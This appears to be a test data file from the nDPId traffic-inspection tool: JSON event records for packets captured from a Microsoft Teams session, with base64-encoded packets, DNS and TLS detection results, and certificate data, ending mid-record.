+00552{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2228,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":545241,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIeyRAbt4yrCzzAZekIAYEACxYwAAAQEICjCEwgZg9HrpFgMDACUQAAAhIEEei9EC+K5+wTIH7nn4OrBCpvwIyhcSNoau7TZIohg7FAMDAAEBFgMDACgAAAAAAAAAAJhotVo7bnsIfNVJhUttAitclNGZcxD+p1Dd2JviYPnO"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2238,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":611308,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2238,"source":"teams.pcap","alias":"nDPId-test","type":38} +00497{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2239,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":618688,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnEapAAGwGuaU0ck0hwKgBBgG77JHMBl6QeMqxEIAYBAVw6QAAAQEICmD0ezUwhMIGFAMDAAEBFgMDACgAAAAAAAAAAKmibfDE971fe1e\/39N5Ncwu98x5\/x81YgWFBEvwX87I"} +00426{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2240,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":618759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyRAbt4yrEQzAZew4AQD\/4RkgAAAQEICjCEwktg9Hs1"} +02363{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2241,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":619835,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyRAbt4yrEQzAZew4AQEACbkwAAAQEICjCEwkxg9Hs1FwMDQBgAAAAAAAAAAU7pYxlahMDWRzm9MFDgTtWid9FhYd7u+WsyEYSwBibY07OoGT1CwznR0tLGYhMqBxbDN9vic3fzw\/IYGGnoKKzzTy47wPGZjbmjTn8dMJVD5tOwEHjdetaUGeeDKOJuXarE\/8LhuvnzubzxwigYsvE0AWh7exGKJ9OIBLGFKErhPtaEtPyniW\/yvGC6j4V5\/CFBqXZ5WL1haaEk\/ZjAzh57u+1VBM\/wRYp+hdNLwXvCCWDyIPDaa0FFUvOl6qrDnM4S5MIC8xvbk8GWMVUjNvCpN2SAbjujkywLs+w2uYREU3ifWthY8y3aiqGhkbqqD3FFSDjkrOYg6XAZesZXevuHC6VVrOXWKgb4Re9RxLJFHoYlQpm\/JVkNwnBNB75t3Mv0nmSTH7fNNXXS2lAgrDQYYJz95oLeu90PmgrNDR4v7SsPKyi\/9RPaXtjlIiTbBWjPLtC07VGNizU0VL4HIzZmf3gUaXqn5ShkFdtkejUlml428oIUjL4zZQJuXxOJhDmjt8bPCyjiw0K5jFYV6XKaWcgGKqaFtGaRH4bsKdpJQW1O2xVYhWr4KJqMjjiJNKaXX9JN7kg7ioy2wXnTWVoYgbARgNXAa3lw9MN4xEM\/eU6cqvvf7kokL46vpVf093TNPtegMKvXERjVVEXBKLBRc3hADgInKSHS1LyMQF4vpg9OhOl\/\/z5kWRsovrahDJM5W76w9fTCBF\/tDo1uuWKJTZhKoXy4cff6zXh1SHCXseb1rIRfJ9hciowdJTpFFEP7BBwBb+C\/By0g3wrmr8VU+nTBmC5zw1agZ1foy5CKPOzNFSbIyAcRDK6R8w4zov8n3nf6g2XGARkpti6CijLJ9M18jwwu4I0D8IjjsNpSWcyLiW1AsqT3rs6gUTdgPb7X3PZ6bhC\/C8XLVGEmlc5KzFj08cxJdQO+gNAcD4CcsX3s5Kc71xM8hqLvkHfO4bZSAYYgT3u532iSaqScjpJbhES5B7L6TQyBgmjF\/UlqNn9Un86Zd9jsOwcMEXQP0nSkyL96CImG6rRqEQ6caWrp6WoNSHGGCIs6AVgd3toq8BbDydkyiThSrDa+EikhyK5LJlI+fdBBjZB7KmciUPVZ3pP3pBismpajZUCwX5pKswfiRHqMvs41I7VvHeuJIT2vz4FGAp7bTeRKru6nrBZ6bVFRkd9+U3ZLeacxYOSFo4+lHHxKSVLFwR8hTzrY5lxWTjBCfFWPKTJT2wrvtXZqpoNOY6fLOWGqZmstL8GbkXTJDyUUaRI5+Qj0r1CgotaTR2eR0AqkW8hUzmBzq2DebzbvMViLJZRRhKNJsld5j\/2MS8xDF1TOVtNO38KkaOLsl4pYgJx1UqF\/UZjBZkr2ZGQydCWR4XS27nfcpSakppKps\/534lNKE8Cf\/gggdu5z9zzeGGuhfcDuiJcMOyzfozd\/t1naCilqNSWR2Ri4RCIK89DYlJkWngqZZqAxpQWonPAw5HLhu3i0LtfxkHAmyu00XaJ6dkCGuN2kg7T\/6+BVOreag\/L8Q3YkGqOB3DmkCrHmMUxe1YlBrH0zJqbI3+8\/InBymHqx0rNT2q67xptFmc3j3Yys50HFz\/Gp3UON1gmlNQQtXvJeVjQ1ghHQxV7kuEBmO0pHxHzu3g2SAfCfavImjSSE\/20GqcSlmZk0eDJ61opqbP2px85hNdktAnnOQTuFIRMLGCfxNziUFF2gqj48mGjuQMuUracRHxHK5rFzbQ8aRK\/bybB1szkbR9APadQ7hrcGKmJGELnNhsrukgUDtsE9mrUXF\/x5CwvhquoBT5OaUOPq6LjE\/+TkVSkBcwVYhyK+HfgTcTskywHwCgPHYu8ASXMIBgGouqXa7eg9Olih1NMPKL9q2hUOoQAbsxIw"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2259,"source":"teams.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1587041687731,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62735,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2259,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":731296,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"EBMx8Tl2KDc3AG3ICABFAABM83AAAP8RRNjAqAEGwKgBAfUPADUAOAAFY+UBAAABAAAAAAAABmV1bm8tMQNhcGkPbWljcm9zb2Z0c3RyZWFtA2NvbQAAAQAB"} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2259,"source":"teams.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1587041687731,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62735,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"euno-1.api.microsoftstream.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00639{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2260,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":745080,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"KDc3AG3IEBMx8Tl2CABFAADTPBBAADkRgbLAqAEBwKgBBgA19Q8AvwAAY+WBgAABAAQAAAAABmV1bm8tMQNhcGkPbWljcm9zb2Z0c3RyZWFtA2NvbQAAAQABwAwABQABAAAGxQAfCmV1bm8tMS1hcGkOdHJhZmZpY21hbmFnZXIDbmV0AMA8AAUAAQAAABUACwhldW5vLTEtMcATwGcABQABAAAAOgApHWFtcy1ldW5vLTEtaG9zLWFwaWdhdGV3YXktMS0xCGNsb3VkYXBwwFbAfgABAAEAAAAVAAQ0qbp3"} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2260,"source":"teams.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":2,"flow_first_seen":1587041687731,"flow_last_seen":1587041687745,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":56,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":123,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62735,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"euno-1.api.microsoftstream.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.169.186.119"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2261,"source":"teams.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1587041687745,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.169.186.119","src_port":60563,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2261,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":745932,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGienAqAEGNKm6d+yTAbth0wzHAAAAALAC\/\/81+QAAAgQFtAEDAwUBAQgKMITCxwAAAAAEAgAA"} +00436{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2265,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":789261,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8GLFAAGwGRTw0qbp3wKgBBgG77JMQ1B2QYdMMyKASIACACgAAAgQFoAEDAwgEAggKASJ3bTCEwsc="} +00424{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2266,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":789367,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGifXAqAEGNKm6d+yTAbth0wzIENQdkYAQEAm+kQAAAQEICjCEwvABIndt"} +00724{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2267,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":789561,"pkt_caplen":287,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":287,"pkt_l4_len":253,"pkt":"EBMx8Tl2KDc3AG3ICABFAAERAABAAEAGiRjAqAEGNKm6d+yTAbth0wzIENQdkYAYEAmMqgAAAQEICjCEwvABIndtFgMBANgBAADUAwN1hCAWlzZVXD7TCb6igB3LJP9WVkluJUaJIbsmWjvyJAAAHCoqzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACP6uoAAP8BAAEAAAAAIwAhAAAeZXVuby0xLmFwaS5taWNyb3NvZnRzdHJlYW0uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAI2toAHQAXABgAGwADAgACOjoAAQA="} +00728{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2267,"source":"teams.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":4,"flow_first_seen":1587041687745,"flow_last_seen":1587041687789,"flow_tot_l4_data_len":369,"flow_min_l4_data_len":32,"flow_max_l4_data_len":253,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.169.186.119","src_port":60563,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"euno-1.api.microsoftstream.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02375{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2268,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835274,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGLJAAGwGP6M0qbp3wKgBBgG77JMQ1B2RYdMNpYAQBAV+GwAAAQEICgEid5owhMLwFgMDF2ICAABeAwNemFWXh6zC4\/H\/NtqCN0bOMCauIHEB+mzTfOs8euglHiDdOQAAbpqWXnIoaFoz5CwjBIm\/uwJeUgS1lb4+XjBSWMAwAAAWAAUAAAAQAAUAAwJoMgAXAAD\/AQABAAsADp0ADpoACNwwggjYMIIGwKADAgECAhMWAAXWDX37jaDzNM+RAAAABdYNMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDAeFw0xOTA3MTYwMDAyMzVaFw0yMTA3MTYwMDAyMzVaMCQxIjAgBgNVBAMMGSouYXBpLm1pY3Jvc29mdHN0cmVhbS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3WyrqhMwneHn3ldwh\/L7UvhOaeyJEw9wAAoXcE2xoCmqN4VQ5dbEJYH2mvnyhH\/q6XQPMuv5SvOYFeFvBsXU42c+cX\/k7ETSWOHymPaiIe9DTakXAw15b1zeAID1a\/qtYq5SKoRqlJOmhP2W2Kj0sGRH9wfU0k6ZKAWCfTCOD3TUKn+kY2\/mFqcxx163RyO5fuue9HjLSPUcK\/XG71pH60ASR2HaDJ53frCURseRASs3N8sp\/lXPNSJpmTy7XzZlvWnjNXBXoGazR\/Ok20dcDNsKQLrS\/5IQoN1eesCyt1n77jwW\/wlDvDN1w4lyx8ZJ\/cWIxkLDRUfkhCN5r674PAgMBAAGjggSZMIIElTCCAfcGCisGAQQB1nkCBAIEggHnBIIB4wHhAHUA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFr+B+\/gwAABAMARjBEAiBFAIuj2Tc26ezbEtOORf3erX84s94DFwS362RUQnwe7QIgOIGvV6+3NbZm4ZuetunBQ10P6vIaYP3f6rBpFmv0R+kAdwBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWv4H7+HAAAEAwBIMEYCIQDNJZUV9kVpum734SuFZbu\/+8d+lBfpKXnRWlVnv4VBQAIhAOB8l0UtbGxz+O5oUYg0D5KcrYbc2wZN7ZDiNmBXUAj6AHYAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFr+B\/ArgAABAMARzBFAiEAuBvGi+GOETS1WKJJY5hLjgoB7c051zHr2NZg0TjxMOsCIDxZ4sYqPPwpfAkKARkELM5\/901w8Rli7y0l6JyGidHOAHcAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFr+B+\/jQAABAMASDBGAiEA+MKOXA0Ondu3DQFnrt75yf8KubCg3tehYpwWY4vXmlsCIQD\/nRJiTBIbc8ubEEHt73izO3Lpmnq\/6a3pOruDbMUQaDAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2E0t9CgueTegIBZAIBHTCBhQYIKwYBBQUHAQEEeTB3MFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcnQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLm1zb2NzcC5jb20wHQYDVR0OBBYEFBqManmr"} +02374{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2269,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835383,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGLRAAGwGP6E0qbp3wKgBBgG77JMQ1CjRYdMNpYAQBAWsgQAAAQEICgEid5owhMLwwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0WAAcrAQAHJzCCByMKAQCgggccMIIHGAYJKwYBBQUHMAEBBIIHCTCCBwUwgceiFgQUov5qP4QsEh\/ZqaZNTXvN5iiM8UwYDzIwMjAwNDE2MDU0NDMyWjCBmzCBmDBMMAkGBSsOAwIaBQAEFCKvAByAdWIHJuDIkxrsp0IcMhI6BBR6e4zBz+egyhzUa\/r74TPDDxqinQITFgAF1g19+42g8zTPkQAAAAXWDYAAGA8yMDIwMDQxNjA1NDQzMlqgERgPMjAyMDA0MjAwNTQ0MzJaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTcwNTQ0MzJaMA0GCSqGSIb3DQEBCwUAA4IBAQBBH0DLZunGVBeAKCXAyKBsflNVIX8JjxQ1XCt6s9miilzUAXjwI99uBl7swMjB1ALnJKy+2rca\/25L8XzDVvPYcM+x\/Gedy9NxkxBmZ\/X7R44fQVEKYzoqijEj7X\/K4uXE99MLXzwEuNywXIHp4EMlFpfj\/8ZV\/KoPDGbuRXrPsh4c\/\/I02wwbomuM4waDq9SVNwHXVGBP0UfSXCtnQm9AfmbgNEYHvJK\/rst2j6FvdyCK4YJ\/qrygiWeKoGapDxeDt6OxnHzQJvI05so4hdZw"} +00440{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2270,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835438,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGienAqAEGNKm6d+yTAbth0w2lENQjMbAQEAAIwgAAAQEICjCEwx0BIneaAQEFChDUKNEQ1C5x"} +02361{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2271,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835690,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGLNAAGwGP6I0qbp3wKgBBgG77JMQ1CMxYdMNpYAQBAWHrwAAAQEICgEid5owhMLw\/vSuTLozArA64Wo3KT6EMAsGA1UdDwQEAwIEsDA9BgNVHREENjA0ghkqLmFwaS5taWNyb3NvZnRzdHJlYW0uY29tghdhcGkubWljcm9zb2Z0c3RyZWFtLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAOzP6+rTCDCwB94ic7SgiY+0+FGz3jTBK5IAaZbieRK\/bfab7xSaeU3ikMR+1M8GOhr6BN1MJVc1sRgc3LOvGGvY78A6B3zYyTvTKOJn5oBNGhxM+QBSjpfUdx+T5vo\/kgcSLSOdNt4INsgRm+uWnENhEkJOilMkStzztmcmMYgbNuNAhpUfE+8ddhTVq+gx9qgpdD1RNZPZ7V3VKZVf63rgaTg8AjRcBP605wqUN25aQKizDa1uDgtnZTj8fY+vh2qm1DK\/UHFVF6pTvTuPl9l+ANwMgE2lk93nf9T8wif59ZWxMgDqu+5tHi8wZqzZFPXHoXk9Sqhyg1D\/0nb6qrSQPIUEPozufDsffSJjS9LTCo7SRgeFmeQ3ESjAy\/TSoqEAEj1E+ujf2By4DZGTEfUexa0bNq78KDy3N+9JgjYNaigA6gCHAsw7KxwKeIvDlAyypN9cAVBacM1wk5DXSCaxgJfFOA6GRbciFpG2q7HEouWVfec3PgpmuxjTeO5f2groeBBQTGUXfS5mYkYYsDc6WJRL7Tx5gALrnmWhKesvssYt31HrmD\/gBVKr5vkipW6NH\/VTa6O+vZ\/R8I2s0gYXBXB6mHcq9pk8iLFms3FvmvODtZHzNrmeGqhXMapvF1pz8NiObZolG+mLxtYQpb9OpMGqmDXVKB2tuh3cXLF0ABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5BM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2Ig"} +02380{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2272,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":835705,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGLVAAGwGP6A0qbp3wKgBBgG77JMQ1C5xYdMNpYAQBAVPHgAAAQEICgEid5owhMLwrUrZIB3GygYdM2Rm9BKs4B5b\/dFbdIfQ9GhDxwZ0NfohKTIR684sW7WJOCyGJLC2oIIFIzCCBR8wggUbMIIDA6ADAgECAhN4ABSW0dxPXl3t0hoKAAAAFJbRMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDAeFw0yMDA0MDIxNzA4MjZaFw0yMTA0MDIxNzA4MjZaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfNF9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvZKDG+mMNiPMFKzRYw+NoSfF\/HSmHxhQQ0eQ20GCZMv8jjwhIDnXc8Nm+BGWQQvyO7MoeLEqJ60y1tONfaDRG75vRfHeNOkm9SdOGo6wS\/TvY2uJhfe26r